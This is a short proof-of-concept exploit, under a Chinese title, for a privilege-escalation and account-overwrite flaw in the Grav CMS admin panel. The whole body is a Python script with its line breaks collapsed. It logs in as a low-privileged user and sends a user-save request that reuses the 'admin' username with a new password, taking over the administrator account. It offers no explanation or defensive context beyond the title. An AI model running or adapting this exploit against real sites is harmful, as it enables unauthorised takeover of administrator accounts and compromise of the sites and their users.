CVE-2026-42609 Grav权限提升与账户覆盖漏洞

import requests # Target configuration target_url = "http://example.com/admin" username = "attacker" password = "attacker_password" session = requests.Session() # 1. Login as a low-privileged user with user creation rights login_payload = { "data": { "username": username, "password": password }, "action": "login" } response = session.post(f"{target_url}/login", json=login_payload) if response.status_code == 200: print("[+] Login successful") # 2. Exploit: Create a new user with the same username as the admin (e.g., 'admin') # This triggers the vulnerability where the existing admin account is overwritten exploit_payload = { "data": { "username": "admin", # Existing admin username "email": "[email protected]", "password": "new_admin_password", "groups": [""] # Empty groups or lower privilege group to de-escalate }, "action": "save_user" } exploit_response = session.post(f"{target_url}/users/save", json=exploit_payload) if exploit_response.status_code == 200: print("[+] Exploit sent successfully. Admin account likely overwritten.") else: print("[-] Exploit failed.") else: print("[-] Login failed.")